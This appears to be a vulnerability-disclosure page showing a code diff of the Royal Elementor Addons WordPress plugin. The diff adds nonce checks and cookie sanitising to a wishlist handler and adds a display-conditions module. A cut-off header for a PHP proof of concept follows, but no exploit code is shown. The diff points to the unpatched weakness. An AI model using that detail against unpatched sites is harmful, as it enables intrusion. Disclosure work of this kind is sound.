+		echo '<p class="wpr-compare-empty '. esc_attr( $notification_hidden ) .'">'. $settings['compare_empty_text'] .'</p>';

         // Start the table
 		echo '<div class="wpr-compare-products '. $table_hidden .'">';
--- a/royal-elementor-addons/classes/woocommerce/wpr-update-mini-wishlist.php
+++ b/royal-elementor-addons/classes/woocommerce/wpr-update-mini-wishlist.php
@@ -24,18 +24,23 @@
 	// Add two new functions for handling cookies
 	public function get_wishlist_from_cookie() {
         if (isset($_COOKIE['wpr_wishlist'])) {
-            return json_decode(stripslashes($_COOKIE['wpr_wishlist']), true);
+            $raw = json_decode(stripslashes($_COOKIE['wpr_wishlist']), true);
+            return is_array($raw) ? array_filter(array_map('absint', $raw)) : array();
         } else if ( isset($_COOKIE['wpr_wishlist_'. get_current_blog_id() .'']) ) {
-            return json_decode(stripslashes($_COOKIE['wpr_wishlist_'. get_current_blog_id() .'']), true);
+            $raw = json_decode(stripslashes($_COOKIE['wpr_wishlist_'. get_current_blog_id() .'']), true);
+            return is_array($raw) ? array_filter(array_map('absint', $raw)) : array();
         }
         return array();
 	}

     function update_mini_wishlist() {
+        if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'wpr-addons-js' ) ) {
+            wp_send_json_error( array( 'message' => esc_html__( 'Security check failed.', 'wpr-addons' ) ) );
+        }
         if ( ! isset( $_POST['product_id'] ) ) {
             return;
         }
-        $product_id = intval( $_POST['product_id'] );
+        $product_id = absint( $_POST['product_id'] );
         $user_id = get_current_user_id();


--- a/royal-elementor-addons/extensions/wpr-display-conditions.php
+++ b/royal-elementor-addons/extensions/wpr-display-conditions.php
@@ -0,0 +1,86 @@
+<?php
+
+use WprAddonsClassesUtilities;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * Visibility (Display Conditions) Extension
+ * Adds a dedicated 4th tab in Elementor with conditional visibility controls.
+ */
+class Wpr_Display_Conditions {
+
+	public function __construct() {
+		add_action( 'elementor/init', [ $this, 'register_tab' ] );
+		add_action( 'elementor/init', [ $this, 'load_classes' ], 20 );
+
+		add_action( 'elementor/editor/after_enqueue_styles', [ $this, 'editor_styles' ] );
+		add_action( 'elementor/editor/after_enqueue_scripts', [ $this, 'editor_scripts' ] );
+		add_action( 'wp_enqueue_scripts', [ $this, 'frontend_styles' ] );
+	}
+
+	/**
+	 * Register the custom Visibility tab in Elementor.
+	 */
+	public function register_tab() {
+		ElementorControls_Manager::add_tab(
+			'wpr_display_conditions',
+			esc_html__( 'Visibility', 'wpr-addons' )
+		);
+	}
+
+	/**
+	 * Load all display condition classes and initialize the manager.
+	 */
+	public function load_classes() {
+		$base = WPR_ADDONS_PATH . 'includes/display-conditions/';
+
+		require_once $base . 'class-section-base.php';
+		require_once $base . 'class-render-handler.php';
+		require_once $base . 'class-conditions-manager.php';
+
+		// Allow pro plugin to load override classes before the manager instantiates
+		do_action( 'wpr_display_conditions_classes_loaded' );
+
+		new WPR_DC_Conditions_Manager();
+	}
+
+	/**
+	 * Editor styles for tab icon and condition indicators.
+	 */
+	public function editor_styles() {
+		wp_enqueue_style(
+			'wpr-display-conditions-editor',
+			WPR_ADDONS_URL . 'assets/css/admin/wpr-display-conditions.css',
+			[],
+			WPR_ADDONS_VERSION
+		);
+	}
+
+	/**
+	 * Editor scripts for active condition indicators.
+	 */
+	public function editor_scripts() {
+		wp_enqueue_script(
+			'wpr-display-conditions-editor',
+			WPR_ADDONS_URL . 'assets/js/admin/wpr-display-conditions-editor.js',
+			[ 'elementor-editor' ],
+			WPR_ADDONS_VERSION,
+			true
+		);
+	}
+
+	/**
+	 * Minimal frontend styles for hidden elements and fallback.
+	 */
+	public function frontend_styles() {
+		wp_add_inline_style(
+			'elementor-frontend',
+			'.wpr-dc-hidden{display:none!important}.wpr-dc-fallback{margin:0;padding:0}'
+		);
+	}
+}
+
+new Wpr_Display_Conditions();
--- a/royal-elementor-addons/includes/controls/wpr-ajax-select2/wpr-control-ajax-select2-api.php
+++ b/royal-elementor-addons/includes/controls/wpr-ajax-select2/wpr-control-ajax-select2-api.php
@@ -262,25 +262,29 @@
 		foreach ( $data as $array ) {
 			$merged_meta_keys = array_unique( array_merge( $merged_meta_keys, $array ) );
 		}
-
-		// Collect term meta keys from all public taxonomies
+
+		// Collect term meta keys in one query, only from public taxonomies (same as old get_terms loop)
+		global $wpdb;
 		$taxonomies = get_taxonomies( [ 'public' => true ], 'names' );
-		foreach ( $taxonomies as $taxonomy ) {
-			$terms = get_terms( [ 'taxonomy' => $taxonomy, 'hide_empty' => false ] );
-			if ( ! is_wp_error( $terms ) && ! empty( $terms ) ) {
-				foreach ( $terms as $term ) {
-					$term_meta = get_term_meta( $term->term_id );
-					if ( is_array( $term_meta ) ) {
-						foreach ( array_keys( $term_meta ) as $meta_key ) {
-							if ( '_' !== substr( (string) $meta_key, 0, 1 ) ) {
-								$merged_meta_keys[] = $meta_key;
-							}
-						}
+		if ( ! empty( $taxonomies ) ) {
+			$termmeta = $wpdb->termmeta;
+			$term_taxonomy = $wpdb->term_taxonomy;
+			$like = $wpdb->esc_like( '_' ) . '%';
+			$placeholders = implode( ',', array_fill( 0, count( $taxonomies ), '%s' ) );
+			$params = array_merge( array_values( $taxonomies ), [ $like ] );
+			$term_meta_keys = $wpdb->get_col( $wpdb->prepare(
+				"SELECT DISTINCT tm.meta_key FROM {$termmeta} tm INNER JOIN {$term_taxonomy} tt ON tm.term_id = tt.term_id WHERE tt.taxonomy IN ($placeholders) AND tm.meta_key NOT LIKE %s AND tm.meta_key != ''",
+				$params
+			) );
+			if ( ! empty( $term_meta_keys ) && is_array( $term_meta_keys ) ) {
+				foreach ( $term_meta_keys as $meta_key ) {
+					if ( '_' !== substr( (string) $meta_key, 0, 1 ) ) {
+						$merged_meta_keys[] = $meta_key;
 					}
 				}
 			}
 		}
-
+
 		// Rekey
 		$merged_meta_keys = array_values($merged_meta_keys);

--- a/royal-elementor-addons/includes/display-conditions/class-conditions-manager.php
+++ b/royal-elementor-addons/includes/display-conditions/class-conditions-manager.php
@@ -0,0 +1,287 @@
+<?php
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * Central manager for the Visibility tab.
+ * Loads all sections, registers controls on all Elementor elements, evaluates conditions on render.
+ */
+class WPR_DC_Conditions_Manager {
+
+	/**
+	 * Registered section instances, sorted by order.
+	 *
+	 * @var WPR_DC_Section_Base[]
+	 */
+	private $sections = [];
+
+	/**
+	 * Cached user-agent parsing result.
+	 */
+	private $ua_parsed = null;
+
+	public function __construct() {
+		$this->load_sections();
+		$this->setup_hooks();
+	}
+
+	/**
+	 * Load and register all section classes from the sections/ directory.
+	 */
+	private function load_sections() {
+		$sections_dir = WPR_ADDONS_PATH . 'includes/display-conditions/sections/';
+		$files = glob( $sections_dir . 'class-*.php' );
+
+		if ( ! $files ) {
+			return;
+		}
+
+		foreach ( $files as $file ) {
+			require_once $file;
+		}
+
+		// All section classes follow naming: WPR_DC_Section_{PascalName}
+		// We collect them by checking declared classes that extend WPR_DC_Section_Base
+		$section_classes = [
+			'WPR_DC_Section_General_Settings',
+			'WPR_DC_Section_Visitor_Roles',
+			'WPR_DC_Section_User_Profile',
+			'WPR_DC_Section_Page_Content',
+			'WPR_DC_Section_Archive',
+			'WPR_DC_Section_Date_Time',
+			'WPR_DC_Section_Device_Browser',
+			'WPR_DC_Section_Visitor_Location',
+			'WPR_DC_Section_Url_Parameters',
+			'WPR_DC_Section_Woocommerce',
+			'WPR_DC_Section_Language',
+			'WPR_DC_Section_Custom_Fields',
+			'WPR_DC_Section_Dynamic_Tags',
+			'WPR_DC_Section_Interaction',
+			'WPR_DC_Section_Random_Limits',
+			'WPR_DC_Section_Fallback_Content',
+			'WPR_DC_Section_Pro_Features',
+		];
+
+		foreach ( $section_classes as $class_name ) {
+			// Use pro override class if available
+			$pro_class = $class_name . '_Pro';
+			$use_class = class_exists( $pro_class ) ? $pro_class : $class_name;
+
+			if ( class_exists( $use_class ) ) {
+				$section = new $use_class();
+				if ( $section->is_available() ) {
+					$this->sections[] = $section;
+				}
+			}
+		}
+
+		// Sort by order
+		usort( $this->sections, function ( $a, $b ) {
+			return $a->get_order() - $b->get_order();
+		} );
+	}
+
+	/**
+	 * Hook into Elementor to register controls and intercept rendering.
+	 */
+	private function setup_hooks() {
+		// Register controls on all element types
+		$element_types = [ 'common', 'section', 'column', 'container' ];
+
+		foreach ( $element_types as $type ) {
+			add_action(
+				"elementor/element/{$type}/section_effects/after_section_end",
+				[ $this, 'register_tab_sections' ],
+				10,
+				2
+			);
+		}
+
+		// Frontend: intercept rendering to show/hide elements
+		$render_types = [ 'widget', 'section', 'column', 'container' ];
+
+		foreach ( $render_types as $type ) {
+			add_action( "elementor/frontend/{$type}/before_render", [ $this, 'before_render' ] );
+			add_action( "elementor/frontend/{$type}/after_render", [ $this, 'after_render' ] );
+		}
+
+		// Prevent Elementor from caching elements that have visibility conditions.
+		// Without this, the first render result gets cached and served to all users,
+		// breaking role-based and other dynamic visibility logic.
+		add_filter( 'elementor/element/is_dynamic_content', [ $this, 'disable_element_caching' ], 10, 2 );
+	}
+
+	/**
+	 * Tell Elementor that elements with visibility conditions are dynamic
+	 * so they are never served from the element cache.
+	 *
+	 * @param bool  $is_dynamic_content Current dynamic-content flag.
+	 * @param array $raw_data           Raw element data including settings.
+	 * @return bool
+	 */
+	public function disable_element_caching( $is_dynamic_content, $raw_data ) {
+		if ( ! empty( $raw_data['settings']['wpr_dc_enabled'] ) ) {
+			return true;
+		}
+		return $is_dynamic_content;
+	}
+
+	/**
+	 * Register all visibility sections as collapsible panels in our custom tab.
+	 */
+	public function register_tab_sections( $element, $args ) {
+		foreach ( $this->sections as $section ) {
+			$section_args = [
+				'tab'   => 'wpr_display_conditions',
+				'label' => $section->get_label(),
+			];
+
+			// Hide all sections except General when visibility is not enabled
+			if ( 'wpr_dc_general' !== $section->get_id() ) {
+				$section_args['condition'] = [
+					'wpr_dc_enabled' => 'yes',
+				];
+			}
+
+			$element->start_controls_section(
+				$section->get_id(),
+				$section_args
+			);
+
+			$section->register_controls( $element );
+
+			$element->end_controls_section();
+		}
+	}
+
+	/**
+	 * Before an element renders on the frontend — evaluate conditions and hide if needed.
+	 */
+	public function before_render( $element ) {
+		// Never hide in editor
+		if ( ElementorPlugin::$instance->editor->is_edit_mode() ) {
+			return;
+		}
+
+		// Also skip preview mode so Elementor preview works
+		if ( ElementorPlugin::$instance->preview->is_preview_mode() ) {
+			return;
+		}
+
+		$settings = $element->get_settings_for_display();
+
+		// Check master toggle
+		if ( empty( $settings['wpr_dc_enabled'] ) || 'yes' !== $settings['wpr_dc_enabled'] ) {
+			return;
+		}
+
+		$mode     = ! empty( $settings['wpr_dc_mode'] ) ? $settings['wpr_dc_mode'] : 'show';
+		$logic    = ! empty( $settings['wpr_dc_logic'] ) ? $settings['wpr_dc_logic'] : 'any';
+		$css_only = ! empty( $settings['wpr_dc_css_only'] ) && 'yes' === $settings['wpr_dc_css_only'];
+
+		// Collect results from evaluable sections (skip general, fallback, interaction)
+		$skip_ids = [ 'wpr_dc_general', 'wpr_dc_fallback', 'wpr_dc_interaction' ];
+		$results  = [];
+
+		foreach ( $this->sections as $section ) {
+			if ( in_array( $section->get_id(), $skip_ids, true ) ) {
+				continue;
+			}
+
+			$result = $section->evaluate( $settings );
+
+			if ( null !== $result ) {
+				$results[] = $result;
+			}
+		}
+
+		// No conditions configured — always show
+		if ( empty( $results ) ) {
+			return;
+		}
+
+		// Apply logic
+		if ( 'all' === $logic ) {
+			$conditions_met = ! in_array( false, $results, true );
+		} else {
+			$conditions_met = in_array( true, $results, true );
+		}
+
+		// Determine if element should be shown
+		$should_show = ( 'show' === $mode ) ? $conditions_met : ! $conditions_met;
+
+		if ( ! $should_show ) {
+			WPR_DC_Render_Handler::instance()->start_hiding( $element, $settings, $css_only );
+		}
+	}
+
+	/**
+	 * After an element renders — close output buffer if hiding.
+	 */
+	public function after_render( $element ) {
+		if ( ElementorPlugin::$instance->editor->is_edit_mode() ) {
+			return;
+		}
+
+		WPR_DC_Render_Handler::instance()->finish_hiding( $element );
+	}
+
+	/**
+	 * Get parsed user-agent info (cached per request).
+	 */
+	public function get_user_agent_info() {
+		if ( null !== $this->ua_parsed ) {
+			return $this->ua_parsed;
+		}
+
+		$ua = isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : '';
+
+		$this->ua_parsed = [
+			'raw'     => $ua,
+			'device'  => $this->detect_device( $ua ),
+			'browser' => $this->detect_browser( $ua ),
+		];
+
+		return $this->ua_parsed;
+	}
+
+	/**
+	 * Detect device type from user-agent string.
+	 */
+	private function detect_device( $ua ) {
+		if ( preg_match( '/iPad|Android(?!.*Mobile)|Tablet/i', $ua ) ) {
+			return 'tablet';
+		}
+		if ( preg_match( '/Mobile|iPhone|iPod|Android.*Mobile|webOS|BlackBerry|Opera Mini|IEMobile/i', $ua ) ) {
+			return 'mobile';
+		}
+		return 'desktop';
+	}
+
+	/**
+	 * Detect browser from user-agent string.
+	 */
+	private function detect_browser( $ua ) {
+		if ( preg_match( '/Edg//i', $ua ) ) {
+			return 'edge';
+		}
+		if ( preg_match( '/OPR|Opera/i', $ua ) ) {
+			return 'opera';
+		}
+		if ( preg_match( '/Chrome/i', $ua ) && ! preg_match( '/Edg|OPR/i', $ua ) ) {
+			return 'chrome';
+		}
+		if ( preg_match( '/Safari/i', $ua ) && ! preg_match( '/Chrome|Edg|OPR/i', $ua ) ) {
+			return 'safari';
+		}
+		if ( preg_match( '/Firefox/i', $ua ) ) {
+			return 'firefox';
+		}
+		if ( preg_match( '/MSIE|Trident/i', $ua ) ) {
+			return 'ie';
+		}
+		return 'other';
+	}
+}
--- a/royal-elementor-addons/includes/display-conditions/class-render-handler.php
+++ b/royal-elementor-addons/includes/display-conditions/class-render-handler.php
@@ -0,0 +1,99 @@
+<?php
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * Handles element hiding: DOM removal via output buffering, CSS-only hiding, and fallback content.
+ */
+class WPR_DC_Render_Handler {
+
+	private static $instance = null;
+
+	/**
+	 * Track which elements are being hidden and how.
+	 */
+	private $hidden_elements = [];
+
+	public static function instance() {
+		if ( null === self::$instance ) {
+			self::$instance = new self();
+		}
+		return self::$instance;
+	}
+
+	/**
+	 * Start hiding an element.
+	 * Called from before_render when conditions determine the element should be hidden.
+	 */
+	public function start_hiding( $element, $settings, $css_only = false ) {
+		$id = $element->get_id();
+
+		if ( $css_only ) {
+			$element->add_render_attribute( '_wrapper', 'class', 'wpr-dc-hidden' );
+			$this->hidden_elements[ $id ] = [
+				'type'     => 'css',
+				'settings' => $settings,
+			];
+		} else {
+			ob_start();
+			$this->hidden_elements[ $id ] = [
+				'type'     => 'dom',
+				'settings' => $settings,
+			];
+		}
+	}
+
+	/**
+	 * Finish hiding an element.
+	 * Called from after_render — discards buffer for DOM removal, renders fallback if needed.
+	 */
+	public function finish_hiding( $element ) {
+		$id = $element->get_id();
+
+		if ( ! isset( $this->hidden_elements[ $id ] ) ) {
+			return;
+		}
+
+		$hidden = $this->hidden_elements[ $id ];
+		unset( $this->hidden_elements[ $id ] );
+
+		if ( 'dom' === $hidden['type'] ) {
+			ob_end_clean();
+			$this->maybe_render_fallback( $hidden['settings'] );
+		}
+	}
+
+	/**
+	 * Check if an element is currently being hidden.
+	 */
+	public function is_hiding( $element ) {
+		return isset( $this->hidden_elements[ $element->get_id() ] );
+	}
+
+	/**
+	 * Render fallback content if enabled in settings.
+	 */
+	private function maybe_render_fallback( $settings ) {
+		if ( empty( $settings['wpr_dc_fallback_enabled'] ) || 'yes' !== $settings['wpr_dc_fallback_enabled'] ) {
+			return;
+		}
+
+		$type = ! empty( $settings['wpr_dc_fallback_type'] ) ? $settings['wpr_dc_fallback_type'] : 'text';
+
+		echo '<div class="wpr-dc-fallback">';
+
+		if ( 'text' === $type && ! empty( $settings['wpr_dc_fallback_text'] ) ) {
+			echo wp_kses_post( $settings['wpr_dc_fallback_text'] );
+		} elseif ( 'template' === $type && ! empty( $settings['wpr_dc_fallback_template'] ) ) {
+			$template_id = absint( $settings['wpr_dc_fallback_template'] );
+			if ( $template_id ) {
+				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+				echo ElementorPlugin::instance()->frontend->get_builder_content_for_display( $template_id );
+			}
+		}
+
+		echo '</div>';
+	}
+}
--- a/royal-elementor-addons/includes/display-conditions/class-section-base.php
+++ b/royal-elementor-addons/includes/display-conditions/class-section-base.php
@@ -0,0 +1,100 @@
+<?php
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * Abstract base class for all visibility condition sections.
+ * Each collapsible section in the Visibility tab extends this class.
+ */
+abstract class WPR_DC_Section_Base {
+
+	/**
+	 * Unique section ID (e.g. 'wpr_dc_visitor_roles').
+	 */
+	abstract public function get_id();
+
+	/**
+	 * Section label shown in the Elementor panel.
+	 */
+	abstract public function get_label();
+
+	/**
+	 * Sort order in the tab (10, 20, 30...).
+	 */
+	abstract public function get_order();
+
+	/**
+	 * Register Elementor controls for this section.
+	 */
+	abstract public function register_controls( $element );
+
+	/**
+	 * Evaluate conditions for this section.
+	 *
+	 * @return bool|null true = conditions met, false = not met, null = not configured (skip)
+	 */
+	abstract public function evaluate( $settings );
+
+	/**
+	 * Whether this section is available (e.g. required plugin is active).
+	 */
+	public function is_available() {
+		return true;
+	}
+
+	/**
+	 * Compare two values using the given operator.
+	 */
+	protected function compare( $actual, $operator, $expected ) {
+		switch ( $operator ) {
+			case 'isset':
+				return '' !== $actual && null !== $actual && false !== $actual;
+			case 'empty':
+				return '' === $actual || null === $actual || false === $actual;
+			case 'equals':
+				return (string) $actual === (string) $expected;
+			case 'not_equals':
+				return (string) $actual !== (string) $expected;
+			case 'contains':
+				return false !== strpos( (string) $actual, (string) $expected );
+			case 'not_contains':
+				return false === strpos( (string) $actual, (string) $expected );
+			case 'starts_with':
+				return 0 === strpos( (string) $actual, (string) $expected );
+			case 'ends_with':
+				return substr( (string) $actual, -strlen( (string) $expected ) ) === (string) $expected;
+			case 'less_than':
+				return (float) $actual < (float) $expected;
+			case 'greater_than':
+				return (float) $actual > (float) $expected;
+			case 'less_equal':
+				return (float) $actual <= (float) $expected;
+			case 'greater_equal':
+				return (float) $actual >= (float) $expected;
+			default:
+				return true;
+		}
+	}
+
+	/**
+	 * Get comparison operators for select dropdowns.
+	 */
+	protected function get_comparison_operators() {
+		return [
+			'isset'         => esc_html__( 'Has any value', 'wpr-addons' ),
+			'empty'         => esc_html__( 'Is empty', 'wpr-addons' ),
+			'equals'        => esc_html__( 'Equals', 'wpr-addons' ),
+			'not_equals'    => esc_html__( 'Does not equal', 'wpr-addons' ),
+			'contains'      => esc_html__( 'Contains', 'wpr-addons' ),
+			'not_contains'  => esc_html__( 'Does not contain', 'wpr-addons' ),
+			'starts_with'   => esc_html__( 'Starts with', 'wpr-addons' ),
+			'ends_with'     => esc_html__( 'Ends with', 'wpr-addons' ),
+			'less_than'     => esc_html__( 'Less than', 'wpr-addons' ),
+			'greater_than'  => esc_html__( 'Greater than', 'wpr-addons' ),
+			'less_equal'    => esc_html__( 'Less than or equal to', 'wpr-addons' ),
+			'greater_equal' => esc_html__( 'Greater than or equal to', 'wpr-addons' ),
+		];
+	}
+}
--- a/royal-elementor-addons/includes/display-conditions/sections/class-archive.php
+++ b/royal-elementor-addons/includes/display-conditions/sections/class-archive.php
@@ -0,0 +1,132 @@
+<?php
+
+use ElementorControls_Manager;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+class WPR_DC_Section_Archive extends WPR_DC_Section_Base {
+
+	public function get_id() {
+		return 'wpr_dc_archive';
+	}
+
+	public function get_label() {
+		return esc_html__( 'Archive', 'wpr-addons' );
+	}
+
+	public function get_order() {
+		return 50;
+	}
+
+	public function register_controls( $element ) {
+		$element->add_control(
+			'wpr_dc_archive_types',
+			[
+				'label'       => esc_html__( 'Page Types', 'wpr-addons' ),
+				'description' => esc_html__( 'Select page types to match.', 'wpr-addons' ),
+				'type'        => Controls_Manager::SELECT2,
+				'multiple'    => true,
+				'label_block' => true,
+				'default'     => [],
+				'options'     => [
+					'is_front_page' => esc_html__( 'Front Page', 'wpr-addons' ),
+					'is_home'       => esc_html__( 'Blog / Posts Page', 'wpr-addons' ),
+					'is_singular'   => esc_html__( 'Any Single Post/Page', 'wpr-addons' ),
+					'is_single'     => esc_html__( 'Single Post', 'wpr-addons' ),
+					'is_page'       => esc_html__( 'Single Page', 'wpr-addons' ),
+					'is_archive'    => esc_html__( 'Any Archive', 'wpr-addons' ),
+					'is_category'   => esc_html__( 'Category Archive', 'wpr-addons' ),
+					'is_tag'        => esc_html__( 'Tag Archive', 'wpr-addons' ),
+					'is_tax'        => esc_html__( 'Taxonomy Archive', 'wpr-addons' ),
+					'is_author'     => esc_html__( 'Author Archive', 'wpr-addons' ),
+					'is_date'       => esc_html__( 'Date Archive', 'wpr-addons' ),
+					'is_search'     => esc_html__( 'Search Results', 'wpr-addons' ),
+					'is_404'        => esc_html__( '404 Page', 'wpr-addons' ),
+				],
+				'render_type' => 'none',
+			]
+		);
+
+		$element->add_control(
+			'wpr_dc_archive_term_property',
+			[
+				'label'       => esc_html__( 'Term Property', 'wpr-addons' ),
+				'description' => esc_html__( 'Additional check on the current archive term.', 'wpr-addons' ),
+				'type'        => Controls_Manager::SELECT,
+				'label_block' => true,
+				'default'     => '',
+				'options'     => [
+					''             => esc_html__( 'Not Set', 'wpr-addons' ),
+					'has_children' => esc_html__( 'Has Child Terms', 'wpr-addons' ),
+					'is_root'      => esc_html__( 'Is Root Term (no parent)', 'wpr-addons' ),
+					'is_leaf'      => esc_html__( 'Is Leaf Term (no children)', 'wpr-addons' ),
+					'has_posts'    => esc_html__( 'Has Posts', 'wpr-addons' ),
+				],
+				'render_type' => 'none',
+			]
+		);
+	}
+
+	public function evaluate( $settings ) {
+		$types    = ! empty( $settings['wpr_dc_archive_types'] ) ? $settings['wpr_dc_archive_types'] : [];
+		$property = ! empty( $settings['wpr_dc_archive_term_property'] ) ? $settings['wpr_dc_archive_term_property'] : '';
+
+		if ( empty( $types ) && '' === $property ) {
+			return null;
+		}
+
+		$results = [];
+
+		// Check page types
+		if ( ! empty( $types ) ) {
+			$type_match = false;
+			foreach ( $types as $condition_fn ) {
+				if ( function_exists( $condition_fn ) && call_user_func( $condition_fn ) ) {
+					$type_match = true;
+					break;
+				}
+			}
+			$results[] = $type_match;
+		}
+
+		// Check term property (only relevant on taxonomy archives)
+		if ( '' !== $property ) {
+			$results[] = $this->check_term_property( $property );
+		}
+
+		if ( empty( $results ) ) {
+			return null;
+		}
+
+		return ! in_array( false, $results, true );
+	}
+
+	private function check_term_property( $property ) {
+		$term = get_queried_object();
+
+		if ( ! $term || ! isset( $term->term_id ) ) {
+			return false;
+		}
+
+		switch ( $property ) {
+			case 'has_children':
+				$children = get_term_children( $term->term_id, $term->taxonomy );
+				return ! empty( $children ) && ! is_wp_error( $children );
+
+			case 'is_root':
+				return 0 === (int) $term->parent;
+
+			case 'is_leaf':
+				$children = get_term_children( $term->term_id, $term->taxonomy );
+				return empty( $children ) || is_wp_error( $children );
+
+			case 'has_posts':
+				return $term->count > 0;
+
+			default:
+				return true;
+		}
+	}
+}
--- a/royal-elementor-addons/includes/display-conditions/sections/class-custom-fields.php
+++ b/royal-elementor-addons/includes/display-conditions/sections/class-custom-fields.php
@@ -0,0 +1,38 @@
+<?php
+
+use ElementorControls_Manager;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+class WPR_DC_Section_Custom_Fields extends WPR_DC_Section_Base {
+
+	public function get_id() {
+		return 'wpr_dc_custom_fields';
+	}
+
+	public function get_label() {
+		return esc_html__( 'Custom Fields (ACF)', 'wpr-addons' );
+	}
+
+	public function get_order() {
+		return 120;
+	}
+
+	public function is_available() {
+		return class_exists( 'ACF' );
+	}
+
+	public function register_controls( $element ) {
+		$element->add_control( 'wpr_dc_custom_fields_pro_notice', [
+			'type' => Controls_Manager::RAW_HTML,
+			'raw' => '<span style="color:#2a2a2a;">Custom Fields (ACF) conditions</span> are available in the <strong><a href="https://royal-elementor-addons.com/?ref=rea-plugin-panel-display-conditions-upgrade-pro#purchasepro" target="_blank">Pro version</a></strong>',
+			'content_classes' => 'wpr-pro-notice',
+		]);
+	}
+
+	public function evaluate( $settings ) {
+		return null;
+	}
+}
--- a/royal-elementor-addons/includes/display-conditions/sections/class-date-time.php
+++ b/royal-elementor-addons/includes/display-conditions/sections/class-date-time.php
@@ -0,0 +1,34 @@
+<?php
+
+use ElementorControls_Manager;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+class WPR_DC_Section_Date_Time extends WPR_DC_Section_Base {
+
+	public function get_id() {
+		return 'wpr_dc_date_time';
+	}
+
+	public function get_label() {
+		return esc_html__( 'Date & Time', 'wpr-addons' );
+	}
+
+	public function get_order() {
+		return 60;
+	}
+
+	public function register_controls( $element ) {
+		$element->add_control( 'wpr_dc_date_time_pro_notice', [
+			'type' => Controls_Manager::RAW_HTML,
+			'raw' => '<span style="color:#2a2a2a;">Date & Time conditions</span> are available in the <strong><a href="https://royal-elementor-addons.com/?ref=rea-plugin-panel-display-conditions-upgrade-pro#purchasepro" target="_blank">Pro version</a></strong>',
+			'content_classes' => 'wpr-pro-notice',
+		]);
+	}
+
+	public function evaluate( $settings ) {
+		return null;
+	}
+}
--- a/royal-elementor-addons/includes/display-conditions/sections/class-device-browser.php
+++ b/royal-elementor-addons/includes/display-conditions/sections/class-device-browser.php
@@ -0,0 +1,140 @@
+<?php
+
+use ElementorControls_Manager;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+class WPR_DC_Section_Device_Browser extends WPR_DC_Section_Base {
+
+	public function get_id() {
+		return 'wpr_dc_device_browser';
+	}
+
+	public function get_label() {
+		return esc_html__( 'Device & Browser', 'wpr-addons' );
+	}
+
+	public function get_order() {
+		return 70;
+	}
+
+	public function register_controls( $element ) {
+		$element->add_control(
+			'wpr_dc_devices',
+			[
+				'label'       => esc_html__( 'Devices', 'wpr-addons' ),
+				'description' => esc_html__( 'Hidden elements are removed from the page code for faster loading.', 'wpr-addons' ),
+				'type'        => Controls_Manager::SELECT2,
+				'multiple'    => true,
+				'label_block' => true,
+				'default'     => [],
+				'options'     => [
+					'desktop' => esc_html__( 'Desktop', 'wpr-addons' ),
+					'tablet'  => esc_html__( 'Tablet', 'wpr-addons' ),
+					'mobile'  => esc_html__( 'Mobile', 'wpr-addons' ),
+				],
+				'render_type' => 'none',
+			]
+		);
+
+		$element->add_control(
+			'wpr_dc_browsers',
+			[
+				'label'       => esc_html__( 'Browsers', 'wpr-addons' ),
+				'type'        => Controls_Manager::SELECT2,
+				'multiple'    => true,
+				'label_block' => true,
+				'default'     => [],
+				'options'     => [
+					'chrome'  => esc_html__( 'Chrome', 'wpr-addons' ),
+					'firefox' => esc_html__( 'Firefox', 'wpr-addons' ),
+					'safari'  => esc_html__( 'Safari', 'wpr-addons' ),
+					'edge'    => esc_html__( 'Edge', 'wpr-addons' ),
+					'opera'   => esc_html__( 'Opera', 'wpr-addons' ),
+					'ie'      => esc_html__( 'Internet Explorer', 'wpr-addons' ),
+				],
+				'render_type' => 'none',
+			]
+		);
+	}
+
+	public function evaluate( $settings ) {
+		$devices  = ! empty( $settings['wpr_dc_devices'] ) ? $settings['wpr_dc_devices'] : [];
+		$browsers = ! empty( $settings['wpr_dc_browsers'] ) ? $settings['wpr_dc_browsers'] : [];
+
+		if ( empty( $devices ) && empty( $browsers ) ) {
+			return null;
+		}
+
+		// Get cached UA info from the manager
+		global $wpr_dc_manager;
+		$ua_info = null;
+
+		if ( isset( $wpr_dc_manager ) && method_exists( $wpr_dc_manager, 'get_user_agent_info' ) ) {
+			$ua_info = $wpr_dc_manager->get_user_agent_info();
+		}
+
+		if ( ! $ua_info ) {
+			$ua_info = $this->parse_user_agent();
+		}
+
+		$results = [];
+
+		if ( ! empty( $devices ) ) {
+			$results[] = in_array( $ua_info['device'], $devices, true );
+		}
+
+		if ( ! empty( $browsers ) ) {
+			$results[] = in_array( $ua_info['browser'], $browsers, true );
+		}
+
+		if ( empty( $results ) ) {
+			return null;
+		}
+
+		return ! in_array( false, $results, true );
+	}
+
+	private function parse_user_agent() {
+		$ua = isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : '';
+
+		return [
+			'device'  => $this->detect_device( $ua ),
+			'browser' => $this->detect_browser( $ua ),
+		];
+	}
+
+	private function detect_device( $ua ) {
+		if ( preg_match( '/iPad|Android(?!.*Mobile)|Tablet/i', $ua ) ) {
+			return 'tablet';
+		}
+		if ( preg_match( '/Mobile|iPhone|iPod|And

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
